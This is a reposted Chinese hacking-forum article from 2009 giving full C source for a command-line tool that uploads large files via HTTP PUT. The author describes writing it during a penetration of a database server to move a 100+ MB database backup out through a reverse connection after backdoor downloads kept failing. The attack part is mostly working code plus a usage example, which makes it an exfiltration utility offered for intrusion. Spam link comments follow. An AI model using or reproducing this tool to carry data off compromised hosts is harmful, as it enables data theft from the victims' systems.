黑基网 首页 学院 网络安全 查看内容

命令行下的PUT方式上传大文件

2009-9-2 09:40| 投稿: security

摘要: 命令行下的PUT方式上传大文件作者:pt007[at]vip.sina.com来源:邪恶八进制信息安全团队(www.eviloctal.com)注:文章首发I.S.T.O信息安全团队,后由原创作者友情...
命令行下的PUT方式上传大文件作者:pt007[at]vip.sina.com来源:邪恶八进制信息安全团队(www.eviloctal.com)注:文章首发I.S.T.O信息安全团队,后由原创作者友情提交到邪恶八进制信息安全团队技术讨论组。I.S.T.O版权所有,转载需注明作者。最近做一个渗透,目标机为一台数据库服务器,对外没有开放,只能反连出来,上面有个100多M的数据库备份,用后门下载的时候总是掉线,听mickey说用PUT方式可以上传大文件,于是从网上找找了代码,写了个命令行下上传大文件的C程序.代码:  引用内容 #include <winsock2.h>  #include <windows.h>  #include <stdio.h>  #include <wininet.h>  #pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "wininet.lib")  void Usage (char *name);//帮助信息  BOOL UseHttpSendReqEx(HINTERNET hConnect, TCHAR *upFile, TCHAR *localFile)  {  INTERNET_BUFFERS BufferIn = {0};  DWORD dwBytesRead;  DWORD dwBytesWritten;  BYTE pBuffer[302480]; // Read from file in 300M chunks,最大支持300M文件  BOOL bRead, bRet;  BufferIn.dwStructSize = sizeof( INTERNET_BUFFERS );  //使用put方式上传文件:  HINTERNET hRequest = HttpOpenRequest (hConnect, "PUT",  localFile, NULL, NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE, 0);  if (!hRequest)  {  printf("Failed to open request handle: %lu\n", GetLastError ());  return FALSE;  }  //打开指定的文件:  HANDLE hFile = CreateFile (upFile, GENERIC_READ, FILE_SHARE_READ,  NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);  if (hFile == INVALID_HANDLE_VALUE)  {  printf("\nFailed to open local file %s.", upFile);  return FALSE;  }  BufferIn.dwBufferTotal = GetFileSize (hFile, NULL);  printf ("File size is %d\n", BufferIn.dwBufferTotal );  if(!HttpSendRequestEx( hRequest, &BufferIn, NULL, HSR_INITIATE, 0))  {  printf( "Error on HttpSendRequestEx %lu\n",GetLastError() );  return FALSE;  }  DWORD sum = 0;  do {  if  (!(bRead = ReadFile (hFile, pBuffer, sizeof(pBuffer),&dwBytesRead, NULL)))  {  printf ("\nReadFile failed on buffer %lu.",GetLastError());  break;  }  if (!(bRet=InternetWriteFile( hRequest, pBuffer, dwBytesRead,&dwBytesWritten)))  {  printf ("\nInternetWriteFile failed %lu", GetLastError());  break;  }  sum += dwBytesWritten;  }  while (dwBytesRead == sizeof(pBuffer)) ;  CloseHandle (hFile);  printf ("Actual written bytes: %d\nupload %s successed!\n", sum,localFile);  //结束一个HTTP请求:  if(!HttpEndRequest(hRequest, NULL, 0, 0))  {  printf( "Error on HttpEndRequest %lu \n", GetLastError());  return FALSE;  }  return TRUE;  }  int main(int argc, char **argv)  {  //put 127.0.0.1 /1.db c:\\wmpub\\1.exe  if(argc!=4)  {  Usage(argv[0]);  return 0;  }  //char *ServerName="127.0.0.1"; //这里填写URL地址  char *ServerName=argv[1];  HINTERNET hSession = InternetOpen("HttpSendRequest",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0); //同步方式  if(!hSession){  printf("Failed to open InternetOpen\n");  exit(0);  }  //连接到一个http服务:  HINTERNET hConnect = InternetConnect(hSession,  ServerName,  INTERNET_DEFAULT_HTTP_PORT, //连接到80端口,可以修改成任意端口,比如53  NULL,  NULL,  INTERNET_SERVICE_HTTP, //服务类型HTTP,FTP或Gopher  0,  1);  if(!hConnect)  {  printf("error InternetConnect\n");  return 0;  }  //TCHAR *putfile="c:\\wmpub\\1.exe"; //上传的程序  TCHAR *putfile=argv[3];  TCHAR *putlocalfile=argv[2];  BOOL sigh;  sigh=UseHttpSendReqEx(hConnect,putfile,putlocalfile);  if(!sigh)  {  printf("error UseHttpSendReqEx\n");  return 0;  }  return 0;  }  //输出帮助的典型方法:  void Usage (char *name)  {  fprintf(stderr,"===============================================================================\n" "\t名称:利用PUT上传300M的大文件\n" "\t环境:Win2003+Visual C++ 6.0\n" "\t作者:[email protected]\n" "\tQQ:  7491805\n" "\t声明:本软件由pt007原创,转载请注明出处,谢谢!\n" "\t使用说明:1.db为上传后保存后的文件,c:\\wmpub\\1.exe为本地要上传的大文件,\n\t需要IIS里面设置允许写入!\n" "\t例子:%s 192.168.1.101 /1.db c:\\wmpub\\1.exe\n" "===============================================================================\n",name);  }
小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

发表评论

最新评论

引用 游客 2017-11-30 14:39
r4cNc7  <a href="http://yeumrxbkfmsw.com/">yeumrxbkfmsw</a>, [url=http://hkleficnvcoj.com/]hkleficnvcoj[/url], [link=http://andzbyrxldtg.com/]andzbyrxldtg[/link], http://ggzhmwnmthnx.com/
引用 游客 2017-11-28 14:49
AdDk2n http://www.LnAJ7K8QSpfMO2wQ8gO.com

查看全部评论(2)


新出炉

返回顶部